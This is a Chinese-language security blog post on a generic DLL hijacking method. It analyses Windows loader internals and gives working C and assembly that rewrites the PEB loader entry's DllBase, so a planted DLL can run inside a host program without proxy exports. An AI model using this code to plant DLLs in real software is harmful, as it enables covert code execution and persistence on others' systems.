[原創]一種通用DLL劫持技術研究
通用DLL劫持技術研究
by anhkgg
2018年11月29日
寫在前面
Dll劫持相信大家都不陌生,理論就不多說了。Dll劫持的目的一般都是為了自己的dll模組能夠在別人程式中執行,然後做些不可描述的事情。
為了讓別人的程式能夠正常執行,通常都需要在自己的dll中匯出和劫持的目標dll相同的函式介面,然後在自己的介面函式中呼叫原始dll的函式,如此使得原始dll的功能能夠正常被使用。匯出介面可以自己手工寫,也可以透過工具自動生成,比如著名的Aheadlib
。這種方法的缺點就是針對不同的dll需要匯出不同的介面,雖然有工具幫助,但也有限制,比如不支援x64。
除此之外,很早之前就知道一種通用dll劫持的方法,原理大致是在自己的dll的dllmian中載入被劫持dll,然後修改loadlibrary的返回值為被劫持dll載入後的模組控制程式碼。這種方式就是自己的dll不用匯出和被劫持dll相同的函式介面,使用更加方便,也更加通用。
下面就嘗試分析一下如何實現這種通用的dll劫持方法。
原理分析
隨便寫一個測試程式碼:
//mydll.dll 偽造的用於劫持mydll.dll的dll程式碼 //mydll.dll.1是把test.exe載入的原始dll修改為這個名字 BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: __debugbreak(); HMODULE hmod = LoadLibraryW("mydll.dll.1"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } //test.exe void main() { LoadLibraryW(L"mydll.dll"); }
用windbg載入看看堆疊,如下所示。在test中透過LoadLibraryW載入mydll.dll,最後進入mydll!DllMain。現在需要分析系統對映dll之後是如何把基地址返回給LoadLibraryW,然後才能想辦法把這個值給修改成載入mydll.dll.1的值。
0:000> kvn # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d 01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec 02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x13 03 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x14 04 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo]) 05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo]) 06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo]) 07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo]) 08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo]) 09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b5 0a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e 0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x105 0c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x1918 0d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b9 0e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) 0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo]) 10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
先去reactos翻看一下,找到如下的函式呼叫結構。在LdrLoadDll引數中BaseAddress就是最後返回給LoadLibraryW的值,所以繼續看BaseAddress是如何賦值的。BaseAddress繼續傳給LdrpLoadDll,在LdrpLoadDll中,首先透過LdrpMapDll對映dll模組,返回一個LdrEntry的LDR_DATA_TABLE_ENTRY結構,儲存了dll載入的基址、大小、名字等資訊。接著LdrEntry會插入到peb->ldr連結串列結構中,然後呼叫LdrpRunInitializeRoutines,在LdrpRunInitializeRoutines中最終會呼叫DllMain,此處不繼續深入分析。最後LdrEntry->DllBase賦值給BaseAddress。到此流程分析清楚,下面考慮如何修改這個值。
NTSTATUS NTAPI LdrLoadDll(IN PWSTR SearchPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *BaseAddress) { Status = LdrpLoadDll(RedirectedDll, SearchPath, DllCharacteristics, DllName, BaseAddress, TRUE); } NTSTATUS NTAPI LdrpLoadDll(IN BOOLEAN Redirected, IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *BaseAddress, IN BOOLEAN CallInit) { Status = LdrpMapDll(DllPath, DllPath, NameBuffer, DllCharacteristics, FALSE, Redirected, &LdrEntry); //插入peb->ldr連結串列 Status = LdrpRunInitializeRoutines(NULL); if (NT_SUCCESS(Status)) { /* Return the base address */ *BaseAddress = LdrEntry->DllBase; } } LdrpRunInitializeRoutines-> LdrpCallInitRoutine -> DllMain
記得映像中的那種方法,是透過堆疊回溯到LdrpLoadDll中,找到LdrEntry進行修改(不確實是否準備,時間久遠了),但因為LdrEntry是區域性變數,不同系統可以不一樣,相容性差一些。但看到這個呼叫流程之後,其實還有另一種方式。LdrEntry->DllBase賦值給BaseAddress,那麼在賦值之前把這個LdrEntry->DllBase修改了即可,在DllMain正好是修改的時機,但是不需要使用堆疊回溯的方式。因為LdrEntry已經插入到peb->ldr中,那麼在DllMain中可以直接獲取peb->ldr遍歷連結串列找到目標dll堆疊的LdrEntry就是需要修改的LdrEntry,然後修改即可。
不過這個分析都是基於reactos來的,還是需要確認一下真是windows系統的ntdll是如何首先的。
在win7 x64系統中,ntdll的關鍵程式碼如下所示。差別是LdrpLoadDll直接返回的ldrentry,而不是BaseAddress,在LdrpLoadDll內部流程基本和reactos一致。所以方案應該可行,後續驗證確實證明可行。
int __fastcall LdrLoadDll() { v11 = LdrpLoadDll(v5, v9, v10, 1, 0i64, &dataentry); v12 = v11; if ( v11 >= 0 ) *dllbase = dataentry->DllBase; }
嘗試實現
實現其實非常簡單,關鍵程式碼如下所示。兩部分程式碼,一個是載入原始dll模組(mydll.dll.1)拿到真是的模組控制程式碼hMod(基地址),第二個就是遍歷peb->ldr找到mydll.dll的ldrentry,然後修改dllbase為hMod。
void* NtCurrentPeb() { __asm { mov eax, fs:[0x30]; } } PEB_LDR_DATA* NtGetPebLdr(void* peb) { __asm { mov eax, peb; mov eax, [eax + 0xc]; } } VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod) { WCHAR wszDllName[100] = { 0 }; void* peb = NtCurrentPeb(); PEB_LDR_DATA* ldr = NtGetPebLdr(peb); for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink; entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList); entry = entry->Blink) { PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry; memset(wszDllName, 0, 100 * 2); memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length); if (!_wcsicmp(wszDllName, dllname)) { data->DllBase = hMod; break; } } } VOID DllHijack(HMODULE hMod) { TCHAR tszDllPath[MAX_PATH] = { 0 }; GetModuleFileName(hMod, tszDllPath, MAX_PATH); PathRemoveFileSpec(tszDllPath); PathAppend(tszDllPath, TEXT("mydll.dll.1")); HMODULE hMod1 = LoadLibrary(tszDllPath); SuperDllHijack(L"mydll.dll", hMod1); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DllHijack(hModule); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
總結
經測試在win7 x84和win10 x64中即是有效的,其他系統未測試,如果有問題,請留言或自行解決。
害怕這種方案不行,還想了另一種思路,在dllmain中hook LdrpLoadDll的返回撥用地址處,修改dataentry的值,因為LdrLoadDll函式介面固定,所以這種方式也應該是通用的,不過實現起來其實還比現在的麻煩些,所以只是保留了這種思路,並未去實現驗證,留給愛折騰的朋友吧。
最後,程式碼上傳了github,https://github.com/anhkgg/SuperDllHijack
[推薦]看雪企服平臺,提供安全分析、定製專案開發、APP等級保護、滲透測試等安全服務!
相關文章
- [原創]注入技術系列:一個批量驗證DLL劫持的工具2020-01-31
- [原創]注入技術系列:一個批次驗證DLL劫持的工具2020-09-03
- DLL劫持並使用MinHook2024-11-03Hook
- 深入解析DLL劫持漏洞2020-08-19
- [原創]微信PC端技術研究-訊息防撤銷2019-02-25
- DLL劫持學習及復現2021-03-05
- [原創]微信PC端技術研究(3)-如何找到訊息傳送介面2019-02-25
- 通用測試技術2024-07-25
- 測試通用技術32024-07-25
- AI不是一種技術,而是一種思考方式2022-11-07AI
- ReactiveProgramming一種技術,各自表述2018-07-23React
- Google DNS劫持背後的技術分析2020-08-19GoDNS
- OpenCV學堂 | 2019原創技術文章彙總2020-01-01OpenCV
- 技術面試通用方法論2021-09-29面試
- OS X平臺的Dylib劫持技術(下)2020-08-19
- OS X平臺的Dylib劫持技術(上)2020-08-19
- 【原創】Java記憶體攻擊技術漫談2021-08-19Java記憶體
- seo技術中的原創內容對搜尋引擎一定好嗎?2020-08-06
- 華為雲全域Serverless技術創新:全球首創通用Serverless平臺被ACM SIGCOMM錄用2024-08-07ServerACMGC
- 前端開發技術-剖析JavaScript單執行緒 原創2022-01-11前端JavaScript執行緒
- [原創]免殺技術有一套(免殺方法大集結)(Anti-AntiVirus)2019-02-25
- 插值技術研究2024-06-07
- 技術分享 | DLL注入之遠執行緒注入2021-10-13執行緒
- DLL劫持漏洞自動化識別工具Rattler檢測2020-12-01
- 通用爬蟲技術框架是什麼?2022-05-18爬蟲框架
- 物件池技術和通用實現GenericObjectPool2021-07-11物件Object
- LabVIEW生成.NET的DLL——C#下呼叫NI資料採集裝置功能的一種方法 [原創www.cnblogs.com/helesheng]2022-01-12ViewC#
- kudu 的基本技術限制 本文來自網路. 非原創2020-04-28
- 灰度釋出的一種技術實踐2022-09-19
- JVM 垃圾收集技術研究2019-04-06JVM
- 和信創天引領技術前瞻成立“智慧雲端計算創新研究院”2018-03-05
- 【原創】淺談技術團隊專案考核體系的建立2019-05-07
- 一名技術主管應該是創作者2023-12-18
- 【原創】Linux中斷子系統(二)-通用框架處理2020-06-05Linux框架
- 再創輝煌 | 南大通用GBase蟬聯2021年度IT168“技術卓越獎”2021-12-22
- 阿里研究院:新技術,新賽道,新物種(附下載)2018-06-20阿里
- 阿里 迅雷 一些朋友原創的前端 PHP技術視訊免費分享 非常不錯!2018-11-08阿里前端PHP
- 阿里 迅雷 一些朋友原創的前端 PHP 技術視訊免費分享 非常不錯!2018-11-14阿里前端PHP